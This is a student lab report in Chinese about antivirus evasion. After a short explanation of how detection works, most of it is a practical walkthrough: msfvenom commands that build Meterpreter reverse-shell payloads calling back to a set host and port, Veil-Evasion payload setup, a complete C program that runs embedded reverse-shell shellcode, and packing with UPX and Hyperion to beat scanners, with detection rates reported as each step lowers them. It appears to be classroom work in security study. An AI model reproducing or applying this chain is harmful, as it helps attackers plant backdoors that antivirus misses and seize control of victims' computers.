20182217劉洪宇EXP3_免殺原理

菠菜雨發表於2021-04-05

免殺

  • 一般是對惡意軟體做處理,讓它不被防毒軟體所檢測。也是滲透測試中需要使用到的技術。

  • 要做好免殺,就時清楚防毒軟體(惡意軟體檢測工具)是如何工作的。AV(Anti-virus)是很大一個產業。其中主要的技術人員基本有編制惡意軟體的經驗。

  • 反過來也一樣,瞭解了免殺的工具和技術,你也就具有了反制它的基礎。

  

1.惡意軟體檢測機制

1.1 基於特徵碼的檢測
1.1.1 特徵庫舉例-Snort
1.2 啟發式惡意軟體檢測
1.3 基於行為的惡意軟體檢測
--

1.1 基於特徵碼的檢測

簡單來說一段特徵碼就是一段或多段資料。如果一個可執行檔案(或其他執行的庫、指令碼等)包含這樣的資料則被認為是惡意程式碼。

AV軟體廠商要做的就是儘量蒐集最全的、最新的特徵碼庫。所以防毒軟體的更新很重要。過時的特徵碼庫就是沒有用的庫。

--

1.1.1 特徵庫舉例-Snort


特徵庫、特徵碼長什麼樣子呢?
對於商業AV軟體來說,這些就是它的競爭點所在,所以是不公開的。
好在,我們有開源的入侵檢測平臺Snort,它有類似的機制,檢測資料包的特徵碼,檢測已知的網路攻擊。
--

Snort規則,我們就以這個為例簡單理解一下特徵碼。


示例規則-wuftpd格式化字串攻擊檢測規則。content後的就是特徵碼。

alert tcp $EXTERNAL_NET any -> $HOME_NET 21
(msg:”FTP EXPLOIT wu-ftpd 2.6.0 site exec format string overflow Linux”;
flow:to_server, established; content:”|31c031db31c9b046cd8031c031db|”;
reference:bugtraq,1387;reference:cve, CAN-2000-0573;
classtype:attempted-admin;
sid:344;rev:4;)


重要的就是,惡意軟體的檢測,並不是比對整個檔案,
而只能只其中一個或幾個片斷作為識別依據。
這就是最簡單的特徵碼,或“signature”。
有興趣的同學可以,搜尋”特徵碼提取”的相關文章深入研究。
--

1.2 啟發式惡意軟體檢測


啟發式Heuristic,簡單來說,就是根據些片面特徵去推斷。通常是因為缺乏精確判定依據。

“When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 對惡意軟體檢測來主說,就是如果一個軟體在幹通常是惡意軟體乾的事,看起來了像個惡意軟體,那我們就把它當成一個惡意軟體吧。典型的行為如連線惡意網站、開放埠、修改系統檔案,典型的“外觀”如檔案本身簽名、結構、廠商等資訊等。各個廠商會定義自己的檢測模式。

--

優點:

可以檢測0-day惡意軟體
具有一定通用性
缺點:

實時監控系統行為,開銷稍多
沒有基於特徵碼的精確度高
--

1.3 基於行為的惡意軟體檢測


最開始提出啟發式時,一般也是針對特徵掃描的而言的,指通用的、多特徵的、非精確的掃描,

所以後來又提出了基於行為的。從理論上講,基於行為的檢測相當於是啟發式的一種,或者是加入了行為監控的啟發式。

 

2.免殺技術(Evading AV)綜述

 

就常見惡意軟體而言,一般AV的檢出率為40%-98%。就算你用了最好的AV,惡意軟體依然有1/50的概率通過檢測。這個概率還可以,貌似多試幾種惡意軟體就可以了。那免殺的方法當然是針對檢測技術的。

--

所以總體技術有:

改變特徵碼
如果你手裡只有EXE
加殼:壓縮殼 加密殼
有shellcode(像Meterpreter)
用encode進行編碼
基於payload重新編譯生成可執行檔案
有原始碼
用其他語言進行重寫再編譯(veil-evasion)
--

改變行為
通訊方式
儘量使用反彈式連線
使用隧道技術
加密通訊資料
操作模式
基於記憶體操作
減少對系統的修改
加入混淆作用的正常功能程式碼
--

免殺就是讓安插的後門不被AV軟體發現。除了直接使用現有後門軟體外,還有一些方式,在實際中也有用。

非常規方法
使用一個有漏洞的應用當成後門,編寫攻擊程式碼整合到如MSF中。
使用社工類攻擊,誘騙目標關閉AV軟體。
純手工打造一個惡意軟體
--

留後門的思路是這樣的:
你寫一個有漏洞的軟體,開一個服務埠。這個軟體本身沒問題。然後如果這個埠被攻擊,就可以獲得系統控制權。
通過meterpreter這種駐留記憶體的payload,AV軟體很難檢出。
這樣的小漏洞程式大家也有做,自己攻擊自己還是很容易的。
當然最好的方法,還是手工打造,自己從頭編一個,沒有通用工具的特徵,AV軟體也就殺不出來了。
從頭打造當然是相當有難度的,但我們可以利用Metasploit已有的payload來半手工的打造,效果也不錯
--

好多盜版、破解、加脫殼軟體都會要求你關閉AV。或者的確只能在關閉AV的情況下才能應用。如果有個軟體提示你需要關閉AV,你會...一定不嗎?

3. 免殺效果實測

--

  • 本部分內容均基於Kali Linux,以meterpreter為樣本惡意軟體來實踐。
序號免殺方式AV測試主機OS/AVVirusTotalVirScan
1 msfvenom直接生成 關閉 Win7_64+MSSE 46/57 16/39
2 msfvenom 編碼一次 關閉 Win7_64+MSSE 45/57 15/39
3 msfvenom 多次編碼 關閉 Win7_64+MSSE 45/57 16/39
4 Veil-evasion 開啟 Win7_64+MSSE 19/58 5/39
5 C+shellcode 開啟 Win10+騰訊管家/Bitdefender   1/39
6 UPX壓縮殼     40/57 17/39
7 Hyperion     18/57 8/39

--

3.1 惡意程式碼生成工具

惡意程式碼功能也是重複類似的,程式設計師最不屑於做的就是同樣的程式碼寫多次。所以就產生了惡意程式碼的生成工具,可以用原始的功能程式碼按需組合生成不同的可執行檔案,現加上不同的免殺手段。常見的如msfvenom,veil-evasion,backdoor-factory等。

對於這種情況,AV廠商當然是要儘量找到如msfvenom生成軟體的特徵,而不是蒐集所有生成結果的特徵了。其結果就是隻要msfvenom生成的exe就會檢測到,不管你是用了什麼編碼器,迭代編碼的多少次。

在免殺過程中,我們就會使用這樣的工具來生成惡意程式碼,並測試其免殺效果。

--

3.2 免殺效果的評價

3.2.1 VirusTotal、Virscan

整合了60多個商業防毒軟體的掃描引擎。可以上傳免殺處理過的程式進行檢測。

如果上傳的程式所有軟體都殺不出來,virustotal就會把它交給AV廠商們了,然後...在防毒庫更新前,你還可以使用一段時間。

Virustatol不包括各AV軟體的行為分析部分(behavioral analysis)。但它自己開發了自己的行為分析引擎。太慢,還沒試用。

https://www.virustotal.com/ http://www.virscan.org/

 

3.2.2 免殺效果參考基準

msfvenom直接生成meterpreter可執行檔案,檢出率為46/57。57個掃描引擎中有46中把它識別為病毒。我們以此為參照,看經過免殺處理的應用在Virustotal上的識別率高了還是低了。

1.生成用msfvenom後門exe檔案

 

 

 2.在virus total中進行檢測

 

 

 

3.3 Msfvenom使用編碼器

Msfvenom是Metasploit平臺下用來編碼payloads免殺的工具。以Metaspliot的知名度和普及度。理所當然,所有AV廠家都盯著呢,一有新編碼演算法,馬上就得加到特徵庫裡呀。

編碼後呢,按理論上講,編碼會降低檢出率,大不了多編碼幾次,總會檢不出來。

 

 

 

 

 

 

 

 

 

 

 

 

多編碼幾次呢,依然沒變化

# msfvenom -p windows/meterpreter/reverse_tcp -e x6/shikata_ga_nai  -i 10 -b ‘\x00’ LHOST=192.168.31.328 LPORT=2217 -f exe > met-encoded10.exe

ps.-i 10:迭代編碼十次。

略有起伏,沒實質變化。


--

原因呢?AV廠商也不傻,人家研究的是編碼器本身,shikata_ga_nai總會有解碼(decoder stub)部分需要加入的exe中,只要盯住這部分就可以了。

還有模板。模板就是msfvenom用來生成最終Exe的那個殼子exe檔案,msfvenom會以固定的模板生成exe,所有它生成的exe,如果使用預設引數或模板,也有一定的固定特徵。曾經有一段時間,只要換了模板,就可以對所有AV免殺。現在這招不行了。所以一般來說AV廠商會針對其使用的模板來生成特徵碼,這樣就一勞永逸地解決所有msfvenom生成的惡意程式碼了。那如果使用msfvenom免殺,就要使用原生的模板。

3.4 Veil-Evasion

Veil-Evasion是一個免殺平臺,與Metasploit有點類似,在Kalil軟體庫中有,但預設沒裝。免殺效果比較好。官網上有視訊教程。

結果呢,生成了一個,上傳測試,virustoal檢出為19/57。

Veil-evasion是用其他語言如c,c#,phython,ruby,go,powershell等重寫了meterperter,然後再通過不同方式編譯成exe,共性特徵比較少。原始碼大家全都可以看得到,可以作為進一步學習的參考。

3.4.1veil的payload使用

開啟veil

 

 

 

use 1
list

 

 

 可以檢視其支援的所有payload。

選擇21powershell/meterpreter/rev_https.py

info 21
#可以檢視此時21的設定
ues 21
set LHOST 192.168.31.238 

 

 

 

 

 

 

 

 

 

設定好了21的回連地址

 

 

 生成

 

 

 檢視用powershell生成的bat檔案

 

 

 將生成的bat檔案一匯入win10電腦 ,殺軟會直接查殺掉。

接下來 我們選擇其他的payload進行測試

使用use 27 python/meterpreter/rev_https.py

 

 

 

 

 

 在win10執行。

 

 

 

 

 

 3.4.2加殼實踐

壓縮殼

 

3.5 C語言呼叫Shellcode

這就是一個半手工打造惡意軟體的例子。

下面指令會生成一個c語言格式的Shellcode陣列。


 

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.238 LPORT=2217 -f c

  

把這個陣列拿來編寫一個程式。如下

--

3.5.1 Linux平臺交叉編譯Windows應用

 

 

生成.c檔案

#include <stdio.h>
#include <stdlib.h>

unsigned char buf[]=
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x57\x74\x4c\x01\xd0\x8b\x58\x20\x01\xd3\x8b\x48\x18\x50"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x1f\xee\x68\x02"
"\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)()=(int(*)())buf;
    func();
}

  

 

 

 生成可執行檔案

i686-w64-mingw32-g++ 20182217lhy_backdoor.c -o 20182217_backdoor.exe

  

 

 

進行virus total測試

 

 

 激動人心啊

 

3.6 加殼

  • 加殼的全稱應該是可執行程式資源壓縮,壓縮後的程式可以直接執行。

  • 加殼的另一種常用的方式是在二進位制的程式中植入一段程式碼,在執行的時候優先取得程式的控制權,之後再把控制權交還給原始程式碼,這樣做的目的是為了隱藏程式真正的OEP(入口點,防止被破解)。大多數病毒就是基於此原理。

  • 加殼的程式需要阻止外部程式或軟體對加殼程式本身的反彙編分析或者動態分析,以達到保護殼內原始程式以及軟體不被外部程式破壞,保證原始程式正常執行。

  • 這種技術也常用來保護軟體版權,防止軟體被破解。但對於病毒,加殼可以繞過一些防毒軟體的掃描,從而實現它作為病毒的一些入侵或破壞的一些特性。

  • MSF的編碼器使用類似方法,對shellcode進行再編碼。

--

從技術上分殼分為:

  • 壓縮殼
    • 減少應用體積,如ASPack,UPX
  • 加密殼
    • 版權保護,反跟蹤。如ASProtect,Armadillo
  • 虛擬機器
    • 通過類似編譯手段,將應用指令轉換為自己設計的指令集。如VMProtect, Themida

--

3.6.1 壓縮殼UPX


 

 

 

 

 

 

 

作為流行這麼多年的加殼軟體,也是可理解的。

--

3.6.2 加密殼Hyperion

還有一種,其實也算加殼,最早在2012年Hyperion 文獻中就有描述,也有軟體實現。

在Kali裡有hyperion的實現

/usr/share/windows-resouces/hyperion/
/usr/share/windows-resources/hyperion/
wine hyperion.exe -v main.upxd.exe main.hyperionupxd.exe

 

 

 

 

 

測試結果為

 

 

 

4.通過組合應用各種技術實現惡意程式碼免殺

生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.238 LPORT=2217 -f c

 

編譯成可執行檔案

1.leafead編譯成.c檔案

2.i686-w64-mingw32-g++ 20182217_backdoor.c -o 20182217_backdoor.exe

 

加殼

upx 20182217lhy_backdoor.exe -o 20182217upxd.exe

  

將要加密的惡意程式碼拉到/usr/share/windows-resources/hyperion/

進入/usr/share/windows-resources/hyperion/

執行

sudo wine hyperion.exe -v 20182217upxd.exe 20182217hyperionupxd.exe

  

 

 

 實現與殺軟共生

 

 

5.基礎問題回答

(1)殺軟是如何檢測出惡意程式碼的?
  • 基於特徵來檢測:惡意程式碼中一般會有一段有較明顯特徵的程式碼也就是特徵碼,如果防毒軟體檢測到有程式包含的特徵碼與其特徵碼庫的程式碼相匹配,就會把該程式當作惡意軟體。
  • 基於行為來檢測:通過對惡意程式碼的觀察、研究,有一些行為是惡意程式碼的共同行為,而且比較特殊。所以當一個程式在執行時,防毒軟體會監視其行為,如果發現了這種特殊的行為,則會把它當成惡意軟體。
(2)免殺是做什麼?
  • 通過改變惡意程式碼,使惡意程式碼不被在其他主機檢查出來

(3)免殺的基本方法有哪些?

  • 加殼:就是相當於把你的後門程式碼封裝起來,但是現在大部分公開的殼都能被防毒軟體查出來,所以加這些殼還不如不加;
  • 加花指令:就是加一段垃圾程式碼,但是並不影響程式的正常執行,加了花指令後,使一些防毒軟體無法正確識別木馬程式,從而達到免殺的效果;
  • 再編譯:如果有原始碼可以使用其他語言重新編寫再編譯,或者利用已有的shellcode構造payload重新編譯生成;
  • 修改行為:儘量少做能被防毒軟體直接檢測到的敏感行為,可以使用反彈式連線,或者減少對系統登錄檔之類的修改。

6.實踐總結與體會

      本次實驗主要考察的是對免殺的操作,總的來說實驗難度不是很大,主要出的問題是在安裝各個程式的時候會出現問題。就實驗結果來看,自己編的呼叫shellcode的程式在virscan中的報毒率是最低的,只有一個軟體報毒,我電腦上安裝的騰訊電腦管家也顯示沒有發現病毒,實驗一步步做下來十分有成就感。

相關文章